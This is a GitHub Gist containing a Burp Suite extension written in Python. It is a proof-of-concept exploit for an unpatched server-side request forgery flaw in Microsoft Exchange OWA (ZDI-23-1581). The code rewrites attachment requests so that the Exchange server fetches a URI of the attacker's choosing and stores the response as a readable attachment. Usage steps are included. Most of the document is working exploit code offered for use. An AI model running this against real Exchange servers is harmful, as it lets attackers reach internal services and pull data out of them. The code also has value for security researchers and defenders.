Last active
December 7, 2023 20:13
-
-
Save v-p-b/44d63eeca2e192a9903de058a34e6827 to your computer and use it in GitHub Desktop.
ZDI-CAN-22101 / ZDI-23-1581 - Exchange SSRF PoC exploit with response retrieval for Burp Suite
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: utf-8 -*- | |
from burp import IBurpExtender | |
from burp import IHttpListener | |
import json | |
# ZDI-CAN-22101 / ZDI-23-1581 - Exchange SSRF PoC exploit with response retrieval for Burp Suite | |
# by buherator, original research by Piotr Bazydło (@chudypb) | |
# | |
# Based on: | |
# https://www.zerodayinitiative.com/blog/2023/11/1/unpatched-powerful-ssrf-in-exchange-owa-getting-response-through-attachments | |
# | |
# 1) Create a new draft and attach a local _binary_ file to it while the extension is loaded (if you attach txt, the payload will be sent in header instead of the POST body) | |
# 2) The attachment component on the UI will spin forever | |
# 3) Reload your draft | |
# 4) Open the pocname.txt attachment | |
class BurpExtender(IBurpExtender, IHttpListener): | |
def registerExtenderCallbacks(self, callbacks): | |
self._callbacks = callbacks | |
self._helpers = callbacks.getHelpers() | |
callbacks.setExtensionName("ZDI-CAN-22101/ZDI-23-1581") | |
callbacks.registerHttpListener(self) | |
def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo): | |
if not messageIsRequest: | |
return | |
# Basec request parsing | |
request = messageInfo.getRequest() | |
requestStr = self._helpers.bytesToString(request) | |
requestInfo = self._helpers.analyzeRequest(request) | |
if not "action=CreateAttachmentFromLocalFile" in requestStr: | |
return | |
# Data extraction | |
headers = requestInfo.getHeaders() | |
print(repr(headers)) | |
bodyBytes = request[requestInfo.getBodyOffset() :] | |
bodyStr = self._helpers.bytesToString(bodyBytes) | |
bodyObj = json.loads(bodyStr) | |
msgId = bodyObj["Body"]["ParentItemId"]["Id"] | |
changeKey = bodyObj["Body"]["ParentItemId"]["ChangeKey"] | |
print(msgId, changeKey) | |
uri = "http://127.0.0.1/" | |
with open("/tmp/uri.txt", "r") as urifile: # Ain't nobody got time for GUIs | |
uri = urifile.read().strip() | |
print(uri) | |
# Generate new request | |
newBodyObj = { | |
"__type": "CreateAttachmentFromUriRequestWrapper:#Exchange", | |
"isInline": "false", | |
"itemId": { | |
"__type": "ItemId:#Exchange", | |
"ChangeKey": changeKey, | |
"Id": msgId, | |
}, | |
"name": "pocname.txt", | |
"subscriptionId": "1", | |
"uri": uri, | |
} | |
newBody = json.dumps(newBodyObj) | |
print(newBody) | |
newHeaders = [] | |
for h in headers: | |
newHeaders.append( | |
h.replace( | |
"CreateAttachmentFromLocalFile", "CreateAttachmentFromUri" | |
) | |
) | |
newReq = self._helpers.buildHttpMessage(newHeaders, newBody) | |
messageInfo.setRequest(newReq) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment